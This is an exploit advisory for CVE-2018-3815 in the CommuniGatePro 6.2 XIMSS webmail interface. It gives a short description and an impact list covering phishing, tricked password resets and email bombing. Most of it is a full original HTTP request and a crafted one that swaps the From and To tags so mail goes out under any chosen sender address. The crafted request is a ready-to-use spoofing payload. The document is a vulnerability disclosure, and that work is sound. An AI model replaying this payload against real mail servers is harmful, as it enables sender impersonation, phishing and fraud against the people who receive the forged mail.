CommuniGatePro 6.2 Missing XIMSS Tag Validation

`# Exploit Title: CommuniGatePro 6.2 - Missing XIMSS tags validation  
# Date: 02/01/2018  
# Exploit Author: Boumediene KADDOUR  
# Unit: Algerie Telecom R&D Unit  
# Vendor Homepage: https://www.stalker.com/  
# Software Link: http://www.stalker.com/ (paid product)  
# Version: 6.2.x <  
# Tested on: production server on crystal, pronto, pronto4, pronto5 and all  
other webmails.  
# CVE: CVE-2018-3815  
  
=============  
*Description:*  
=============  
  
CommunigatePro XML Interface to Messaging, Scheduling, and Signaling  
protocol ("XIMSS") version 6.2 suffers from a Missing XIMSS protocol  
Validation attack that leads to an email spoofing attack. A malicious  
authenticated attacker will be able to craft the sending XIMSS request used  
to send an email via changing the <From></From> tags by <To></To> tags and  
vice versa, ending up sending an email from any source email of his/her  
choice e.g. [email protected] to any destination email, which leads to  
receiving the email on the victim's INBOX.  
  
  
==========  
*Impact:*  
==========  
1. An attacker can trick someone to click on malicious attachments (virus,  
malware...etc) from trusted sources (e.g. an email coming from CEO).  
2. This trust can give an attacker the ability to request for crucial files  
or valuable reports from an employee in charge of a given service.  
3. This trust can give an attacker the ability to request the mail  
administrator or system administrator to reset his/her password to a  
suggested one (mypassword123).  
4. An attacker can perform an email bomb attack which is a form of network  
abuse consisting of sending huge volumes of email to an address in an  
attempt to overflow the mailbox. A good target can be the CEO's email  
address.  
6. etc...  
  
  
========================================================================  
*Original request*  
========================================================================  
POST /Session/169095-AwcluJEFLAazFLAE521azfF-lls5cdc/sync?reqSeq=20&random=20  
HTTP/1.1  
Host: mail.victim-domain.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://mail.victim-domain.com/?Skin=hPronto-  
Content-Length: 747  
Content-Type: application/xml;charset=UTF-8  
Cookie: __utma=234654222.2016661159.2018875581.5355870481.1510505641.2;  
__utmz=89633334.1499870481.1.1.utmcsr=google|utmccn=(  
organic)|utmcmd=organic|utmctr=(not%20provided)  
Connection: close  
  
<XIMSS><folderOpen mailbox="Brouillons" mailboxClass=""  
folder="Brouillons-MM-1" sortField="INTERNALDATE"  
id="39"><field>Subject</field><field>INTERNALDATE</field></folderOpen><messageSubmit  
targetMailbox="ElAA(c)ments envoyAA(c)s" mailboxClass="" flags="Seen"  
dataset="RecentAddresses" id="40"><EMail charset="utf-8"><X-Mailer>CommuniGate  
Pronto! HTML5 6.2.3925</X-Mailer>*<To>[email protected]  
<[email protected]></To>*<Subject>POC</Subject><MIME-Version>1.0</MIME-Version><MIME  
type="text" subtype="plain" charset="utf-8" format="flowed">My PoC.  
---------------  
Boumediene KADDOUR, OSCP, OSWP  
Cyber Security Researcher R&D  
Mobile: 00213 661 000 000  
</MIME>*<From* realName="Boumediene KADDOUR"*>*  
*snboumediene[AT]gmail[DOT]com**</From>*</EMail></messageSubmit></XIMSS>  
  
==========================================================================  
Crafted Request: sending an email from [email protected] to  
snboumediene[AT]gmail[DOT]com  
==========================================================================  
POST /Session/169095-AwcluJEFLAazFLAE521azfF-lls5cdc/sync?reqSeq=20&random=20  
HTTP/1.1  
Host: mail.victim-domain.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://mail.victim-domain.com/?Skin=hPronto-  
Content-Length: 747  
Content-Type: application/xml;charset=UTF-8  
Cookie: __utma=234654222.2016661159.2018875581.5355870481.1510505641.2;  
__utmz=89633334.1499870481.1.1.utmcsr=google|utmccn=(  
organic)|utmcmd=organic|utmctr=(not%20provided)  
Connection: close  
  
<XIMSS><folderOpen mailbox="Brouillons" mailboxClass=""  
folder="Brouillons-MM-1" sortField="INTERNALDATE"  
id="39"><field>Subject</field><field>INTERNALDATE</field></folderOpen><messageSubmit  
targetMailbox="ElAA(c)ments envoyAA(c)s" mailboxClass="" flags="Seen"  
dataset="RecentAddresses" id="40"><EMail charset="utf-8"><X-Mailer>CommuniGate  
Pronto! HTML5 6.2.3925</X-Mailer><From>[email protected]</From><  
Subject>POC</Subject><MIME-Version>1.0</MIME-Version><MIME type="text"  
subtype="plain" charset="utf-8" format="flowed">My PoC.  
Regards  
</MIME>*<To* realName="Boumediene KADDOUR"*>snboumediene[AT]gmail[.]com  
<http://gmail.com></To>*</EMail></messageSubmit></XIMSS>  
`